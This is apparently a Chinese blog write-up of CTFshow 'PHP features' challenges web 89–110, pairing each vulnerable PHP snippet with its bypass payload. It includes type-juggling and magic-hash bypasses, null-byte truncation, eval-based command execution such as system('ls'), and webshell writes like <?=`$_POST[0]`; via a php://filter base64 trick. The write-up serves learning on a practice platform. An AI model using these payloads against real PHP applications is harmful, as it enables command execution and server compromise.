CTFSHOW-php特性


php特性

web 89

开始php特性系列了,师傅们,冲冲冲!

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

intval 是获取变量的整数值,所以这里只要传入数字,并且要绕过上面的匹配,用数组绕过就行

image

web 90

开始php特性系列了,师傅们,冲冲冲!

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

同上,因为是 ===​ 强比较,所以加个字母就能绕过,并且 intval 获取整数值

image

web 91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

这里考的是匹配的模式
/^php$/im​ 中的 i​ 是匹配大小写,m​ 是多行模式,可以匹配每一行
^​ 是匹配开头,$​ 是匹配结尾,加一起就是从头到尾匹配
而第二个匹配没有 m 模式,所以如果有多行字符串,就只能匹配第一行的

我们的目的是绕过第二层,我们只要传入两行就行,加个换行符就行

cmd=%0aphp

image

web 92

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里因为有弱比较,所以如果要直接用这个数字的话绕不过去,但是 intval 有个性质,可以转换进制,所以输个hex进去就行

?num=0x117c

web 93

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里不让用字母了,那就传一个八进制,八进制在开头加一个 0 就行

?num=010574

image

web 94

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

因为有 strpos​ 的影响所以必须要传入一个0,并且不能在开头,这里尝试了一下,发现只要用换行符就行,因为strpos​不受换行符的影响,但是 intval 会,所以只能读到换行符之前

?num=4476%0a0

image

hint 的方法:传入一个小数

?num=4476.0

web 95

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这个把小数也ban了,我的换行符也不行,因为是弱比较,看的hint,用的还是八进制,但是要在前面加一个字节的东西

?num=+010574

我感觉是这个字节为了绕过的是 strpos

web 96

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

直接看不行,但是在 linux 中 ./ 表示当前目录,直接查看就行

?u=./flag.php

web 97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

也是用数组绕过

a[]=1&b[]=2

image

web 98

<?php
include("flag.php");
$_GET ? $_GET = &$_POST : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
highlight_file(
$_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);

?>

这里都是用三元运算符来写的,一句句分析

$_GET ? $_GET = &$_POST : 'flag';​ :当传入 get 参数后,get 会变成 post 参数的引用
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';​ 将 get 参数(有可能是 post 的引用了) 这个如果成立,get 就变成 cookie 的引用,反之则是 flag
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';​ 这个如果成立,get 就变成 cookie 的引用,反之则是 flag
$_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__​ 如果 HTTP_FLAG 等于 flag,就会输出真正的 flag

中间的代码都没有什么用,只看第一个和最后一个,所以我们只要传入一个 get 的 HTTP_FLAG 参数,然后再传入一个 post 的 HTTP_FLAG 参数等于 flag,这里的代码都影响不到这个,就可以获取到flag

image

web 99

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

丢给ai,这个第一个循环是创建一个由随机整数组成的数组,这里看wp学的,in_array() 函数有一个漏洞,如果没有设置第三个参数,就默认是弱比较,会进行自动类型转换,1.php 就会被转换为整数1,也就符合条件
所以只要这个数字在 allow 中,就能写入木马

image

然后访问 1.php ,成功

image

web 100

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

这里一个重要的点就是在 php 中,= 的优先级低于 and​ 所以 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);​ 会先执行 $v0=is_numeric($v1) ,后面的是不是数字不影响后面 v0 的判断

?v1=1&v2=system('ls')&v3=;

发现 ctfshow 的存在不影响命令执行

image

最后直接看就行

web 101

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

这题涉及到一个对类的操作,hint 使用的是

echo new Reflectionclass

Reflectionclass 是php中反射机制中的一个类,用来查看或操作类的信息

这个的正确语法是,正好题目还给了一个 ('ctfshow')

echo new ReflectionClass('SomeClass');

所以最后是用

?v1=1&v2=echo new Reflectionclass&v3=;

不过因为最后解码的原因,flag少了一位,还要爆一下

image

web 102

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

通过几次尝试,发现好像 call_user_func 函数会将 v1 作为函数,s 作为参数运行,然后将返回值传给 str,但是 v2 必须要是数字,而 s 就是 v2 的值

image

image

在本地运行的结果是一致的,这里有点不知道干嘛了

通过 hint 了解到一个函数,hex2bin 这个应该是 php 中挺常用的一个函数,文档说明这是一个将 hex 转换成二进制的函数,但是试用了一下发现好像是转换为字符串

image

通过这个特性就可以利用file_put_contents 文件包含了,这里没看仔细,才发现他这个 payload 是只有数字的,所以才能用这个函数(写着写着就忘了只用数字

5044383959474e6864434171594473
PD89YGNhdCAqYDs

<?=`cat *`;

这个 payload 应该是比较特殊的,然后直接访问 1.php 就能得到 flag

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post 
v1=hex2bin

image

web 103

<?php
=
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

同上

这里看wp又看到一个特殊的 payload

5044383959435266554539545646737758574137
PD89YCRfUE9TVFswXWA7

<?=`$_POST[0]`;

image

web 104

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

难绷,应该是出漏了一个 v1 == v2 这里直接传相同的值就行

web 105

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

下面是我写的时候的错误理解

这里有一个特殊的语法 $$key=$$value; 这个是可变变量的语法

$a = "123";
$b = 'a';

echo $$b;    // 123

这里会把 b 变量中的值当作一个变量名

$a = "123";
$b = 'a';
$key = 'a';
$value = 'b';

$$key = $$value;
echo $a;    // a

这里将 key 指向的变量 a 赋值给 value 指向的变量 b 的值,所以最后变为了 a

难绷,搞错了 $$key=$$value;​ 其实是把 $key​ 和 $value 值代入而已

所以第一个让 suces=flag​ 第二个让 error=suces​ 就能将 error = flag

image

web 106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

web 104 的修复

在网上找到的 sha1 值,这里是弱比较,很好绕过

10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

image

web 107

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

parse_str 函数是将第一个参数分解变量存入第二个参数,第二个参数会是一个数组

<?php

$v1 = "flag=1";
parse_str($v1, $v2);
echo $v2['flag'];    // 1

然后后面就是传入一个md5值,其实这个随便什么都行,反正自己 md5 加密一下取前面的数字放到 flag 中就行

image

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

web 108

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

这里是 ereg​ 的问题,这个函数可以被 null 截断,strrev 是反转函数,所以把 36d 的十进制反转一下就行

?c=a%00778

web 109

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}
?>

参考《CTFshow-Web入门》10. Web 91~110 - 镜坛主 - 博客园

这里因为有 echo​ 并且这里有个 new​ 所以可以创建一个 php 的内置类,触发 __tostring 函数,然后就可以输出这个对象包含的数据

__toString : 当一个对象被当作字符串对待时,就会触发这个魔术方法,格式化输出这个对象包含的数据

  • 只要变量后面紧跟着(),就会对这个变量作为函数进行调用

随便试点内置类,只要包含 __toString 方法就行

?v1=DirectoryIterator&v2=system('ls')

image

web 110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

方法是一样的,只是符号被过滤了,所以用不了之前的方法

这里学到了php中查看目录的函数:golb()​、getcwd()​、 basename()​、realpath()​、scandir()
但是里面只有 getcwd 不需要参数,直接返回当前工作目录

?v1=FilesystemIterator&v2=getcwd

image

因为是当前目录,直接访问就行


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录